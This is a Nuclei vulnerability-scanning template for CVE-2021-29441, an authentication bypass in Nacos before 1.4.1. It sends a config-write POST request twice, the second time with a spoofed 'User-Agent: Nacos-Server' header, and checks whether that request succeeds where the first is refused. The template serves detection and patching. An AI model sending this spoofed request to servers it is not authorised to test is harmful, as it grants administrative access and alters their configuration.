id: CVE-2021-29441

info:
  name: Nacos <1.4.1 - Authentication Bypass
  author: dwisiswant0
  severity: critical
  description: |
    This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5.

    In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true)
    Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that
    enables Nacos servers to bypass this filter and therefore skip authentication checks.
    This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
    This issue may allow any user to carry out any administrative tasks on the Nacos server.
  remediation: |
    Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29441).
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
    - https://github.com/alibaba/nacos/issues/4701
    - https://github.com/advisories/GHSA-36hp-jr8h-556f
    - https://github.com/alibaba/nacos/pull/4703
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-29441
    cwe-id: CWE-290
    epss-score: 0.96644
    epss-percentile: 0.99505
    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: alibaba
    product: nacos
  tags: nacos,auth-bypass,cve,cve2021

http:
  - raw:
      - |
        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        User-Agent: Nacos-Server

    req-condition: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 403"
          - "status_code_2 == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body_1, 'Forbidden')"
          - "body_2 == 'true'"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

# digest: 4a0a00473045022100f04bc6956e5c34520b6e2f70b85f724dff409a12f46f07c38b25bb508f299242022027089f63edf64c4de58d9348a38a81378c154a0fb66baf506adb8de67fd0372f:922c64590222798bb761d5b6d8e72950